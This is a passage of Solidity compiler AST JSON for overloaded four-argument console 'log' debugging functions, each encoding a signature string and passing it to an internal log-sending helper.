memory"}],"id":17997,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"19971:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18006,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19971:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18007,"nodeType":"ExpressionStatement","src":"19971:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19898:3:14","parameters":{"id":17995,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17988,"mutability":"mutable","name":"p0","nameLocation":"19907:2:14","nodeType":"VariableDeclaration","scope":18009,"src":"19902:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17987,"name":"uint","nodeType":"ElementaryTypeName","src":"19902:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17990,"mutability":"mutable","name":"p1","nameLocation":"19916:2:14","nodeType":"VariableDeclaration","scope":18009,"src":"19911:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17989,"name":"uint","nodeType":"ElementaryTypeName","src":"19911:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17992,"mutability":"mutable","name":"p2","nameLocation":"19934:2:14","nodeType":"VariableDeclaration","scope":18009,"src":"19920:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17991,"name":"string","nodeType":"ElementaryTypeName","src":"19920:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17994,"mutability":"mutable","name":"p3","nameLocation":"19943:2:14","nodeType":"VariableDeclaration","scope":18009,"src":"19938:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17993,"name":"bool","nodeType":"ElementaryTypeName","src":"19938:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"19901:45:14"},"returnParameters":{"id":17996,"nodeType":"ParameterList","parameters":[],"src":"19961:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18032,"nodeType":"FunctionDefinition","src":"20070:181:14","nodes":[],"body":{"id":18031,"nodeType":"Block","src":"20145:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c737472696e672c6164647265737329","id":18023,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20195:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_433285a23ec6b1f0f76da64682232527561857544109f80e3e5d46b0e16980e7","typeString":"literal_string \"log(uint,uint,string,address)\""},"value":"log(uint,uint,string,address)"},{"id":18024,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18011,"src":"20228:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18025,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18013,"src":"20232:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18026,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18015,"src":"20236:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18027,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18017,"src":"20240:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_433285a23ec6b1f0f76da64682232527561857544109f80e3e5d46b0e16980e7","typeString":"literal_string \"log(uint,uint,string,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":18021,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20171:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18022,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20175:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"20171:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18028,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20171:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18020,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"20155:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18029,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20155:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18030,"nodeType":"ExpressionStatement","src":"20155:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20079:3:14","parameters":{"id":18018,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18011,"mutability":"mutable","name":"p0","nameLocation":"20088:2:14","nodeType":"VariableDeclaration","scope":18032,"src":"20083:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18010,"name":"uint","nodeType":"ElementaryTypeName","src":"20083:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18013,"mutability":"mutable","name":"p1","nameLocation":"20097:2:14","nodeType":"VariableDeclaration","scope":18032,"src":"20092:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18012,"name":"uint","nodeType":"ElementaryTypeName","src":"20092:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18015,"mutability":"mutable","name":"p2","nameLocation":"20115:2:14","nodeType":"VariableDeclaration","scope":18032,"src":"20101:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18014,"name":"string","nodeType":"ElementaryTypeName","src":"20101:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18017,"mutability":"mutable","name":"p3","nameLocation":"20127:2:14","nodeType":"VariableDeclaration","scope":18032,"src":"20119:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18016,"name":"address","nodeType":"ElementaryTypeName","src":"20119:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"20082:48:14"},"returnParameters":{"id":18019,"nodeType":"ParameterList","parameters":[],"src":"20145:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18055,"nodeType":"FunctionDefinition","src":"20257:164:14","nodes":[],"body":{"id":18054,"nodeType":"Block","src":"20320:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c626f6f6c2c75696e7429","id":18046,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20370:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6c647c8c5fed6e02ad4f1c7bfb891e58ba00758f5d6cb92966fd0684c5b3fc8d","typeString":"literal_string \"log(uint,uint,bool,uint)\""},"value":"log(uint,uint,bool,uint)"},{"id":18047,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18034,"src":"20398:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18048,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18036,"src":"20402:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18049,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18038,"src":"20406:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18050,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18040,"src":"20410:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6c647c8c5fed6e02ad4f1c7bfb891e58ba00758f5d6cb92966fd0684c5b3fc8d","typeString":"literal_string \"log(uint,uint,bool,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":18044,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20346:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18045,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20350:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"20346:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18051,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20346:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18043,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"20330:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20330:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18053,"nodeType":"ExpressionStatement","src":"20330:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20266:3:14","parameters":{"id":18041,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18034,"mutability":"mutable","name":"p0","nameLocation":"20275:2:14","nodeType":"VariableDeclaration","scope":18055,"src":"20270:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18033,"name":"uint","nodeType":"ElementaryTypeName","src":"20270:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18036,"mutability":"mutable","name":"p1","nameLocation":"20284:2:14","nodeType":"VariableDeclaration","scope":18055,"src":"20279:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18035,"name":"uint","nodeType":"ElementaryTypeName","src":"20279:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18038,"mutability":"mutable","name":"p2","nameLocation":"20293:2:14","nodeType":"VariableDeclaration","scope":18055,"src":"20288:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18037,"name":"bool","nodeType":"ElementaryTypeName","src":"20288:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18040,"mutability":"mutable","name":"p3","nameLocation":"20302:2:14","nodeType":"VariableDeclaration","scope":18055,"src":"20297:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18039,"name":"uint","nodeType":"ElementaryTypeName","src":"20297:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"20269:36:14"},"returnParameters":{"id":18042,"nodeType":"ParameterList","parameters":[],"src":"20320:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18078,"nodeType":"FunctionDefinition","src":"20427:175:14","nodes":[],"body":{"id":18077,"nodeType":"Block","src":"20499:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c626f6f6c2c737472696e6729","id":18069,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20549:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_efd9cbeee79713372dd0a748a26a3fb36cbe4eb4e01a37fbde0cde0e101fc85a","typeString":"literal_string \"log(uint,uint,bool,string)\""},"value":"log(uint,uint,bool,string)"},{"id":18070,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18057,"src":"20579:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18071,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18059,"src":"20583:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18072,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18061,"src":"20587:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18073,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18063,"src":"20591:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_efd9cbeee79713372dd0a748a26a3fb36cbe4eb4e01a37fbde0cde0e101fc85a","typeString":"literal_string \"log(uint,uint,bool,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":18067,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20525:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18068,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20529:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"20525:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18074,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20525:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18066,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"20509:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18075,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20509:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18076,"nodeType":"ExpressionStatement","src":"20509:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20436:3:14","parameters":{"id":18064,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18057,"mutability":"mutable","name":"p0","nameLocation":"20445:2:14","nodeType":"VariableDeclaration","scope":18078,"src":"20440:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18056,"name":"uint","nodeType":"ElementaryTypeName","src":"20440:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18059,"mutability":"mutable","name":"p1","nameLocation":"20454:2:14","nodeType":"VariableDeclaration","scope":18078,"src":"20449:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18058,"name":"uint","nodeType":"ElementaryTypeName","src":"20449:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18061,"mutability":"mutable","name":"p2","nameLocation":"20463:2:14","nodeType":"VariableDeclaration","scope":18078,"src":"20458:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18060,"name":"bool","nodeType":"ElementaryTypeName","src":"20458:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18063,"mutability":"mutable","name":"p3","nameLocation":"20481:2:14","nodeType":"VariableDeclaration","scope":18078,"src":"20467:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18062,"name":"string","nodeType":"ElementaryTypeName","src":"20467:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"20439:45:14"},"returnParameters":{"id":18065,"nodeType":"ParameterList","parameters":[],"src":"20499:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18101,"nodeType":"FunctionDefinition","src":"20608:164:14","nodes":[],"body":{"id":18100,"nodeType":"Block","src":"20671:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c626f6f6c2c626f6f6c29","id":18092,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20721:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_94be3bb13e096cdbc5a1999a524e3b6664a32da7e2c2954ae0e2b792a0dd1f41","typeString":"literal_string \"log(uint,uint,bool,bool)\""},"value":"log(uint,uint,bool,bool)"},{"id":18093,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18080,"src":"20749:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18094,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18082,"src":"20753:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18095,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18084,"src":"20757:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18096,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18086,"src":"20761:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_94be3bb13e096cdbc5a1999a524e3b6664a32da7e2c2954ae0e2b792a0dd1f41","typeString":"literal_string \"log(uint,uint,bool,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":18090,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20697:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18091,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20701:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"20697:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18097,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20697:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18089,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"20681:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20681:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18099,"nodeType":"ExpressionStatement","src":"20681:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20617:3:14","parameters":{"id":18087,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18080,"mutability":"mutable","name":"p0","nameLocation":"20626:2:14","nodeType":"VariableDeclaration","scope":18101,"src":"20621:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18079,"name":"uint","nodeType":"ElementaryTypeName","src":"20621:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18082,"mutability":"mutable","name":"p1","nameLocation":"20635:2:14","nodeType":"VariableDeclaration","scope":18101,"src":"20630:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18081,"name":"uint","nodeType":"ElementaryTypeName","src":"20630:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18084,"mutability":"mutable","name":"p2","nameLocation":"20644:2:14","nodeType":"VariableDeclaration","scope":18101,"src":"20639:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18083,"name":"bool","nodeType":"ElementaryTypeName","src":"20639:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18086,"mutability":"mutable","name":"p3","nameLocation":"20653:2:14","nodeType":"VariableDeclaration","scope":18101,"src":"20648:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18085,"name":"bool","nodeType":"ElementaryTypeName","src":"20648:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"20620:36:14"},"returnParameters":{"id":18088,"nodeType":"ParameterList","parameters":[],"src":"20671:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18124,"nodeType":"FunctionDefinition","src":"20778:170:14","nodes":[],"body":{"id":18123,"nodeType":"Block","src":"20844:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c626f6f6c2c6164647265737329","id":18115,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20894:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e117744fcc46e4484cabd18d640497b4a9d76b7f775e79fe9a95e42427bd8976","typeString":"literal_string \"log(uint,uint,bool,address)\""},"value":"log(uint,uint,bool,address)"},{"id":18116,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18103,"src":"20925:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18117,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18105,"src":"20929:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18118,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18107,"src":"20933:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18119,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18109,"src":"20937:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e117744fcc46e4484cabd18d640497b4a9d76b7f775e79fe9a95e42427bd8976","typeString":"literal_string \"log(uint,uint,bool,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":18113,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20870:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18114,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20874:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"20870:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18120,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20870:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18112,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"20854:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20854:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18122,"nodeType":"ExpressionStatement","src":"20854:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20787:3:14","parameters":{"id":18110,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18103,"mutability":"mutable","name":"p0","nameLocation":"20796:2:14","nodeType":"VariableDeclaration","scope":18124,"src":"20791:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18102,"name":"uint","nodeType":"ElementaryTypeName","src":"20791:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18105,"mutability":"mutable","name":"p1","nameLocation":"20805:2:14","nodeType":"VariableDeclaration","scope":18124,"src":"20800:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18104,"name":"uint","nodeType":"ElementaryTypeName","src":"20800:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18107,"mutability":"mutable","name":"p2","nameLocation":"20814:2:14","nodeType":"VariableDeclaration","scope":18124,"src":"20809:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18106,"name":"bool","nodeType":"ElementaryTypeName","src":"20809:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18109,"mutability":"mutable","name":"p3","nameLocation":"20826:2:14","nodeType":"VariableDeclaration","scope":18124,"src":"20818:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18108,"name":"address","nodeType":"ElementaryTypeName","src":"20818:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"20790:39:14"},"returnParameters":{"id":18111,"nodeType":"ParameterList","parameters":[],"src":"20844:0:14"},"scope":23737,"stateMutability":"